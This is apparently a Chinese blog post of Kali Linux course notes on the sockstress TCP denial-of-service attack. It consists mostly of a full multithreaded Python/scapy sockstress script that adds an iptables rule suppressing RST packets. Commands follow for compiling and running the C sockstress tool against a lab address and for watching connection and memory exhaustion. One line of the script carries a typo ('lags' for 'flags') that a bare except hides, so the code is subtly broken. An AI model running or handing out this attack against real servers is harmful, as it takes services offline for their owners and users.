赞
踩
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程
#!/usr/bin/python #coding=utf-8 from scapy.all import* from time import sleep import thread import random import logging import os import signal import sys import signal logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) != 4: print "用法: ./sockstress.py [IP地址] [端口] [线程数]" print "举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态" sys.exit() target = str(sys.argv[1]) dstport= int(sys.argv[2]) threads = int(sys.argv[3]) ## 攻击函数 def sockstress(target,dstport) : while 0 == 0: try: x = random.randint(0,65535) response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0) send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0) except: pass ## 停止攻击函数 def shutdown(signal,frame): print "正在修复 iptables 规则" os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP') sys.exit() ## 添加iptables规则 os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP') signal.signal(signal.SIGINT, shutdown) ## 多线程攻击 print "\n攻击正在进行...按 Ctrl+C 停止攻击" for x in range(0,threads): thread.start_new_thread(sockstress, (target,dstport)) ##永远执行 while 0 == 0: sleep(1)
测试结果
# 查看系统连接数
netstat | grep ESTABLISHED | wc -l
下载编译
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 10.10.10.132:80 eth0
./sockstress 10.10.10.132:80 eth0 -p payloads/http
防火墙规则
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 10.10.10.132 -j DROP
查看攻击效果
netstat -tulnp | grep ESTABLISHED | wc -l
free
top
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。